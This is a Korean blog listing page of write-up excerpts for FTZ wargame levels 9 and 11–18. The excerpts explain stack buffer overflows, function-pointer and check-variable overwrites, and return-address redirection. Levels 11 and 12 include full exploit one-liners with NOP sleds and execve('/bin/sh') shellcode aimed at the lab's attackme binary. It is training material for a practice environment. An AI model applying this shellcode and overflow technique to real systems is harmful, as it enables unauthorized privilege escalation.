본문 바로가기

시스템 해킹100

level 18 꽤 까다로운 코드이다.check에 0xdeadbeef가 들어가야 한다. string->check->x->count순으로 스택에 쌓이고, 주소값이 작아진다.따라서, string을 이용해 버퍼오버플로우를 시킬수없다. 그러므로, string[음수값]을 이용한다. count--을 이용해야 한다. 을 통해str: ebp-100check: ebp-104 x: ebp-108 count: ebp-112 임을 알 수 있다. count를 -4로 만든다음,, check를 deadbeef로 만들 수 있다. 2016. 10. 12.
level 17 call 부분에 printit 대신 에그쉘을 불러오게 해보자! ebp: 0xbfffedf8call: ebp-16fgets: 0xbfffedc0 A*40+에그쉘 주소 2016. 10. 12.
level 16 버퍼오버플로우! call은 함수포인터이다.call 이 printit을 가리키는 것이 아닌 shell함수를 가리키게 하자! printit함수와 shell함수가 어디에 위치하는지 확인 0x0804851e : movl $0x8048500,0xfffffff0(%ebp)이므로 ebp-16에 printit이 아닌 shell을 넣기 위해ebp-16에 0x80484d0을 넣는다. ebp: 0xbffff6f8 ebp-16-> 0x80484d0 fgets 시작부분: 0xbffff6c0 A*40+0x80484d0 2016. 10. 12.
level 15 1. 버퍼오버플로우2. *check==0xdeadbeef 0x080484ad : mov 0xfffffff0(%ebp),%eax0x080484b0 : cmpl $0xdeadbeef,(%eax)이부분이 힌트이다! ebp: 0xbffff678check: ebp-16 deadbeef: 0x80484b2 fgets 부분: 0xbffff640 A*40+\xb2\x84\x04\x08"+A*12+A*4+RET부분! 2016. 10. 12.
level 14 1. 버퍼오버플로우2. check==0xdeadbeef cmpl 0xdeadbeef, 0xfffffff0(%ebp)이 부분이 힌트이다. ebp: 0xbffff878 check: ebp-16 fgets 시작되는 부분:0xbffff840 A*40+0xdeadbeef+A*12+A*4+RET부분! 2016. 10. 12.
level 13 1. 버퍼오버플로우2. i==0x1234567이 되어야 한다. cmpl 0x1234567, 0xfffffff4(%ebp)이곳이 힌트이다. ebp: 0xbfffe1c8 i: 0xbfffe1bc strcpy시작: 0xbfffddb0 1036*A+"\x01234567"+8*A+4*A+RET이다. 2016. 10. 12.
level 12 버퍼오버플로우를 사용한다!ebp 주소: 0xbffff278 gets시작되는 주소: 0xbffff170 0xbffff278-0xbffff170=264264+4=268268byte 뒤의 4byte가 RET 부분! [level12@ftz level12]$ (python -c 'print "A"*268+"\x88\xf5\xff\xbf"+"\x90"*3000+ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x8 9\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"';cat)|./attackme 2016. 10. 12.
level 11 버퍼오버플로우를 사용한다! ebp는 0xbfffe668strcpy로 처음 값이 써지는 부분: 0xbfffe560 0xbfffe668-0xbfffe560=264264+4=268268byte 다음의 4byte가 RET가 써지는 부분! ./attackme `python -c 'print "A"*268+"\xe8\xf9\xff\xbf"+"\x90"*2000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'` 2016. 10. 12.
level9 일단, setreuid()에 대해 알아보자. http://shayete.tistory.com/entry/1-%EC%8B%9C%EC%8A%A4%ED%85%9C-%ED%95%B4%ED%82%B9%EC%9D%B4%EB%9E%80-linux-%EA%B8%B0%EC%B4%88%EB%AA%85%EB%A0%B9%EC%96%B4-vim-%EB%AA%85%EB%A0%B9%EC%96%B4-%EC%82%AC%EC%9A%A9%EB%B2%95 이번 포스팅은 기본적인 내용들이 많기 때문에 혹시 (지루하실까봐) 리눅스를 한번이라도 접해보신 분들이라면 아실법한 /bin/sh 와 /bin/bash의bash drop privileges에 대해 잠깐 설명드리고자 합니다.해킹 공부해보신 분들 중에, 왜 우분투에서는 setuid bit가 걸.. 2016. 9. 13.